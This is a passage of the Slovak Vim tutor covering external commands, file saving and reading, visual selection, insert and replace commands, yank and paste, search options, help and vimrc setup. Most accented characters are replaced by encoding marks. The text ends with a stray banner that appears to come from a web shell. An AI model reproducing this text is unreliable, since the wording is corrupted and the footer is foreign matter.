     CTRL-O �a vr�ti sp� na star�iu poz�ciu, CTRL-I na nov�iu poz�ciu.

  3. Nap�sanie  %  ke� kurzor je na (,),[,],{, alebo } n�jde zodpovdaj�cu
     p�rnu z�tvorku.

  4. Pre nahradenie nov�ho za prv� star� v riadku nap�    :s/star�/nov�
     Pre nahradenie nov�ho za v�etky star� v riadku nap�  :s/star�/nov�/g
     Pre nahradenie re�azcov medzi dvoma riadkami 3 nap�  :#,#/star�/nov�/g
     Pre nahradenie v�etk�ch v�skytov v s�bore nap�       :%s/star�/nov�/g
     Pre potvrdenie ka�d�ho nahradenia pridaj 'c'	         :%s/star�/nov�/gc


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		Lekcia 5.1 AKO SPUSTI� VONKAJ�� PR�KAZ


 ** Nap� pr�kaz  :!  nasledovan� vonkaj��m pr�kazom pre spustenie pr�kazu **

  1. Nap� obvykl� p�kaz  :  ktor� nastav� kurzor na spodok obrazovky.
     To umo�n� nap�sa� pr�kaz.

  2. Teraz nap�  !  (v�kri�n�k). To umo�n� spusti� hociak� vonkaj�� pr�kaz
     z pr�kazov�ho riadku.

  3. Ako pr�klad nap�  ls  za ! a stla� <ENTER>. Tento pr�kaz
     zobraz� obsah tvojho adres�ra rovnako ako na pr�kazovom riadku.
     Alebo pou�i  :!dir  ak ls nefunguje.

Pozn�mka:  Takto je mo�n� spusti� hociak� vonkaj�� pr�kaz s argumentami.
Pozn�mka:  V�etky pr�kazy  :  musia by� dokon�en� stla�en�m <ENTER>




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekcia 5.2: VIAC O UKLADAN� S�BOROV


     ** Pre ulo�enie zmien v s�bore, nap�  :w FILENAME. **

  1. Nap�  :!dir  alebo  :!ls  pre v�pis aktu�lneho adres�ra.
     U� vie�, �e mus� za t�mto stla�i� <ENTER> .

  2. Vyber n�zov s�boru, ktor� e�te neexistuje, ako napr. TEST.

  3. Teraz nap�:   :w TEST   (kde TEST je n�zov vybrat�ho s�boru.)

  4. To ulo�� cel� s�bor  (Vim Tutor)  pod n�zovm TEST.
     Pre overenie nap�   :!dir   , ��m  zobraz� obsah adres�ra.

Pozn�mka: �e ak ukon�� pr�cu s editorom Vim a znovu ho spust� pr�kazom
	        vim TEST, s�bor bude k�pia v�uky, ke� si ho ulo�il.

  5. Teraz odstr�� s�bor nap�san�m (MS-DOS):   :!del TEST
			     alebo (Unix):     :!rm TEST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		    Lekcia 5.3 V�BER TEXTU PRE ULO�ENIE


  ** Pre ulo�enie �asti s�boru, nap�  v  pohyb :w FILENAME **

  1. Presu� kurozr na tento riadok.

  2. Stla�  v  a presu� kurozr na piatu polo�ku dole. Pozn�mka, �e
     tento text je vyzna�en� (highlighted).

  3. Stla� kl�vesu  : . V spodnej �asti okna sa objav�  :'<,'>.

  4. Nap� w TEST  , kde TEST je meno s�boru, ktor� zatial neexistuje.
     Skontroluj, e vid�  :'<,'>w TEST  predt�m ne� stla�� Enter.

  5. Vim zap�e ozna�en� riadky do s�boru TEST. Pou�i :!dir  alebo  :!ls
     pre overenie. Zatial ho e�te nema�! Pou�ijeme ho v �al�ej lekcii.

POZN�MKA: Stla�en�m kl�vesy  v  sa spust� vizu�lne ozna�ovanie.
          M�e� pohybova� kurzorom pre upresnenie vyzna�en�ho textu.
          Potom m�e� pou�i� oper�tor pre vykonanie nejakej akcie
          s textom. Napr�klad  d  zma�e vyzna�en� text.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		   Lekcia 5.4: V�BER A ZLU�OVANIE S�BOROV


	** Pre vlo�enie obsahu s�boru, nap�   :r FILENAME **

  1. Premiestni kurzor nad tento riadok.

POZN�MKA: Po vykonan� kroku 2 uvid� text z lekcie 5.3. Potom sa presu�
          dole, aby si videl t�to lekciu.

  3. Teraz vlo� s�bor TEST pou�it�m pr�kazu   :r TEST   kde TEST je n�zov
     s�boru. S�bor, ktor� si pou�il je umiestnen� pod riadkom s kurzorom.

POZN�MKA: M�e� tie� na��ta� v�stup vonkaj�ieho pr�kazu. Napr�klad :r !ls
          na��ta v�stup pr�kazu ls a umiestni ho za poz�ciu kurzora.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       LEKCIA 5 ZHRNUTIE


  1.  :!pr�kaz  spust� vonkaj�� pr�kaz.

      Niektor� vyu�ite�n� pr�klady s�:
	(MS_DOS)    (UNIX)
	 :!dir       :!ls	    -  zobraz� obsah adres�ra
	 :!del FILENAME    :!rm FILENAME    -  odstr�ni s�bor FILENAME

  2.  :w FILENAME  ulo�� aktu�lny s�bor na disk pod menom FILENAME.

  3.  v  pohyb  :w FILENAME  ulo�� vizu�lne ozna�en� riadky do
      s�boru FILENAME.

  4.  :r FILENAME  vyberie z disku s�bor FILENAME a vlo�� ho do aktu�lneho
      s�boru za poz�ciou kurzora.

  5. :r !dir  na��ta v�stup z pr�kazu dir a vlo�� ho za poz�ciu kurzora.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			 Lekcia 6.1: PR�KAZ OTVORI�


** Nap�  o  pre vlo�enie riadku pod kurzor a prepnutie do vkladacieho m�du **

  1. Presu� kurzor ni��ie na riadok ozna�en� zna�kou --->.

  2. Nap� o (mal� p�smeno) pre vlo�enie �ist�ho riadku pod kurzorm
     a prepnutie do vkladacieho m�du.

  3. Teraz skop�ruj riadok ozna�en� ---> a stla� <ESC> pre ukon�enie
     vkladacieho m�du.

---> Po nap�san�  o  sa kurzor premiestn� na vlo�en� riadok do vkladacieho
     m�du.

  4. Pre otvorenie riadku nad kurzorom, jednotucho nap� ve�k�  O ,
     namiesto mal�ho  o. Vysk��aj si to na riadku dole.

---> Vlo� riadok nad t�mto nap�san�m O, ke� kurzor je na tomto riadku.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekcia 6.2: PR�KAZ PRIDA�


	   ** Nap�  a  pre vlo�enie textu ZA kurzor. **

  1. Presu� kurzor ni��ie na koniec prv�ho riadku ozna�en�ho zna�kou --->

  2. Stla� kl�vesu  e  dokia� kurozr nieje na konci riadku.

  3. Nap�  a  (mal� p�smeno) pre pridanie textu ZA kurzorom.

  4. Dokon�� slovo tak ako je to v druhom riadku. Stla� <ESC> pre
     opustenie vkladacieho m�du.

  5. Pou�i  e  na presun na �al�ie nedokon�en� slovo a zopakuj kroky 3 a 4.

---> Tento ri ti dovo�uje n�cv pri�van testu na koniec riadku.
---> Tento riadok ti dovo�uje n�cvik prid�vania textu na koniec riadku.

POZN�MKA: a, i, A �tartuj� rovnak� vkladac� m�d, jedin� rozidel je, kde
          sa znaky vkladaj�.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		    Lekcia 6.3: IN� SPOSOB NAHRADZOVANIA


      ** Nap� ve�k� R pre nahradenie viac ako jedn�ho znaku. **

  1. Presu� kurzor ni��ie na prv� riadok ozna�en� zna�kou --->. Premiestni
     kurzor na za�iatok prv�ho v�skytu  xxx.

  2. Teraz nap�  R  a  nap�  ��slo uveden� v druhom riadku, tak�e
     sa n�m nahrad� p�vodn� xxx.

  3. Stla� <ESC> pre opustenie nahradzovacieho m�du. Pozn�mka, �e zvy�ok
     riadku zostane nezmenen�.

  4. Zopakuj tieto kroky pre nahradenie zvy�n�ch xxx.

---> Pridan�m 123 ku xxx dostane� xxx.
---> Pridan�m 123 ku 456 dostane� 579.

POZN�MKA:  Nahradzovac� m�d je ako vkladac� m�d, ale ka�d� nap�san� znak
           zma�e existuj�ci znak.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

          Lekcia 6.4: Copy Paste textu

    ** pou�� oper�tor  y  pre copy textku a  p  pre jeho paste **

  1. Cho� ni��ie na riadok ozna�en� ---> a umiestni kurozr za "a)".

  2. Na�tartuj vizu�lny m�d pou�it�m  v  a presu� kurozr pred "first".

  3. Nap�  y  pre  vystrihnutie (copy) ozna�en�ho textu.

  4. Presu� kurozr na koniec �al�ieho riadku: j$

  5. Nap�  p  pre vlo�nie (paste) textu. Potom nap�:  a druha <ESC>.

  6. Pou�i vizu�lny m�d pre ozna�enie "polo�ka.", vystrihni to
     pou�it�m  y, presu� sa na koniec nasleduj�ceho riadku pou�it�m  j$
     a vlo� sem text pou�it�m  p.

---> a) toto je prv� polo�ka
---> b)

POZN�MKA: M�e� pou�i� tie�  y  ako oper�tor; yw  vystrihne jedno slovo.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			 Lekcia 6.5: NASTAVENIE MO�NOST�


** Nastav mo�nosti, tak�e vyh�ad�vanie alebo nahradzovanie ignoruje
   rozli�ovanie **


  1. Vyh�adaj re�azec 'ignore' nap�san�m:
     /ignore <ENTER>
     Zopakuj vyh�ad�vanie nieko�ko kr�t stla�en�m kl�vesy  n .

  2. Nastav mo�nos� 'ic' (Ignore case) nap�san�m pr�kazu:
     :set ic

  3. Teraz vyh�adaj re�azec 'ingore' znova stla�en�m kl�vesy  n
     Pozn�mka, �e teraz s� vyh�adan� aj Ignore a IGNORE.

  4. Nastav mo�nos�i 'hlsearch' a 'incsearch':
     :set hls is

  5. Teraz spusti vyh�ad�vac� pr�kaz znovu, a pozri �o sa stalo:
     /ignore <ENTER>

  6. Pre opetovn� zapnutie rozly�ovania ve�k�ch a mal�ch p�smen
     nap�:  :set noic

POZN�MKA: Na odstr�nenie zv�raznenia v�razov nap�:  :nohlsearch
POZN�MKA: Ak chce� nerozly�ova� ve�kos� p�smen len pre jedno
          pou�itie vyh�ad�vacieho pr�kazu, pou�i \c:  /ignore\c <ENTER>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			      LEKCIA 6 ZHRNUTIE


  1. Nap�  o  pre otvorenie riadku pod kurzorom a �tart vkladacieho m�du.
     Nap�  O  pre otvorenie riadku nad kurzorom.

  2. Nap�  a  pre vkladanie textu ZA kurzor.
     Nap�  A  pre vkladanie textu za koncom riadku.

  3. Pr�kaz  e  presunie kurozr na koniec slova

  4. Oper�tor  y  vystrihne (skop�ruje) text,  p  ho vlo��.

  5. Nap�sanie ve�k�ho  R  prepne do nahradzovacieho m�du, k�m nieje
     stla�en� <ESC>.

  6. Nap�sanie ":set xxx" nastav� mo�nos� "xxx". Niektor� nastavenia s�:
     'ic' 'ignorecase' ignoruje ve�k� a mal� p�smen� po�as vyh�ad�vania.
     'is' 'incsearch' zobrazuje �iasto�n� re�azce vyh�ad�van�ho re�azca.
     'hls' 'hlsearch' vyzna�� v�etky vyh�ad�van� re�azce.
      M�e� pou�i� hociktor� z dlh�ch a kr�tkych n�zvov mo�nost�.

  7. Vlo� "no" pred nastavenie pre jeho vypnutie:  :set noic







~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		    LEKCIA 7.1: Z�SKANIE N�POVEDY


	  ** Pou��vaj on-line syst�m n�povedy **

  Vim m� obsiahly on-line syst�m n�povedy. Pre od�tartovanie, vysk��aj jeden
  z t�chto troch:
	- stla� kl�vesu <HELP> (ak nejak� m�)
	- stla� kl�vesu <F1> (ak nejak� m�)
	- nap�  :help <ENTER>

  ��taj text v okne n�povedy pre z�skanie predstavy ako n�poveda funguje.
  Nap�   CTRL-W CTRL-W  pre skok z jedn�ho okna do druh�ho.
  Nap�    :q <ENTER>    ��m zatvor� okno n�povedy.

  M�e� n�js� help ku hociakej t�me pridan�m argumentu ku pr�kazu ":help".
  Vysk��aj tieto (nezabudni stla�i� <ENTER>):

	:help w
	:help c_CTRL-D
	:help insert-index
	:help user-manual


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		 LEKCIA 7.2: VYTVORENIE �TARTOVACIEHO SKRIPTU

		       ** Zapni funkcie editora Vim **

  Vim m� omnoho viac funkcii ne� Vi, ale ve�ina z nich je implicitne
  vypnut�. Pre pou��vanie viac Vim funkcii vytvor "vimrc" s�bor.

  1. Za�ni editova� "vimrc" s�bor, to z�vis� na pou�itom syst�me:
	:e ~/.vimrc      pre Unix
	:e $VIM/_vimrc   pre MS-Windows

  2. Teraz si pre��taj text pr�kladu "vimrc" s�boru:

	:r $VIMRUNTIME/vimrc_example.vim

  3. Ulo� s�bor:
	:w

  Pri nasleduj�com �tarte editora Vim sa pou�ije zv�raz�ovanie syntaxe.
  Do "vimrc" s�boru m�e� prida� v�etky svoje uprednost�ovan� nastavenia.
  Pre viac inform�cii nap�  :help vimrc-intro

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                   LEKCIA 7.3 DOKON�ENIE

     ** Dokon�i pr�kaz na pr�kazovom riadku pou�it�m CTRL-D a <TAB> **

  1. Uisti sa, �e Vim nieje v kompatibilnom m�de:  :set nocp

  2. Pozri sa ak� s�bory sa nach�dzaj� v adres�ri:  :!ls  alebo  :!dir

  3. Nap� za�iatok pr�kazu:  :e

  4. Stla�  CTRL-D  a Vim zobraz� zoznam pr�kazov za��naj�cich "e".

  5. Stla� <TAB> a Vim dokon�� meno pr�kazu na ":edit".

  6. Teraz pridaj medzern�k a za�iatok mena existuj�ceho s�boru:
     :edit FIL

  7. Stla� <TAB>. Vim dokon�� meno (ak je jedine�n�).

POZN�MKA: Dokon�ovanie funguje pre ve�a pr�kazov. Vysk��aj stla�enie
          CTRL-D a <TAB>. �peci�lne je to u�ito�n� pre pr�kaz  :help.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

            LEKCIA 7 ZHRNUTIE

  1. Nap�  :help  alebo stla� <F1> alebo <Help> pre otvorenie okna n�povedy.

  2. Nap�  :help pr�kaz  pre vyh�adanie n�povedy ku pr�kazu pr�kaz.

  3. Nap�  CTRL-W CTRL-W  na presko�enie do in�ho okna.

  4. Nap�  :q  pre zatvorenie okna n�povedy

  5. Vytvor �tartovac� skript vimrc pre udr�anie uprednost�ovan�ch nastaven�.

  6. Po�as p�sania pr�kazu  :  stla� CTRL-D pre zobrazenie dokon�en�.
     Stla� <TAB> pre pou�itie jedn�ho z dokon�en�.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



  Toto vymedzuje v�uku Vimu. Toto je ur�en� pre strucn� preh�ad o editore
  Vim, �plne posta�uj�ce pre �ahk� a obstojn� pou��vanie tohto editora.
  T�to v�uka je �aleko od kompletnosti, preto�e Vim m� omnoho viacej pr�kazov.
  Ako �al�ie si pre��taj u��vat�sk� manu�l: ":help user-manual".

  Pre �al�ie ��tanie a �t�dium je odpor��an� kniha:
  Vim - Vi Improved - od Steve Oualline
  Vydavate�: New Riders
  Prv� kniha ur�en� pre Vim. �peci�lne vhodn� pre za�iato�n�kov.
  Obsahuje mno�stvo pr�kladov a obr�zkov.
  Pozri na http://iccf-holland.org/click5.html

  T�to kniha je star�ia a je viac o Vi ako o Vim, ale je tie� odpor��an�:
  Learning the Vi Editor - od Linda Lamb
  Vydavate�: O'Reilly & Associates Inc.
  Je to dobr� kniha pre z�skanie vedomost� o pr�ci s editorom Vi.
  �ieste vydanie obsahuje tie� inform�cie o editore Vim.

  T�to v�uka bola nap�san� autormi Michael C. Pierce a Robert K. Ware,
  Colorado School of Mines s pou�it�m my�lienok dodan�mi od Charles Smith,
  Colorado State University.  E-mail: bware@mines.colorado.edu.

  Modifikovan� pre Vim od Bram Moolenaar.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Preklad do Sloven�iny: �ubo� �elko
  e-mail:       celbos@inmail.sk
  Last Change:  2006 Apr 18
  encoding:     cp1250

Youez - 2016 - github.com/yon3zu
LinuXploit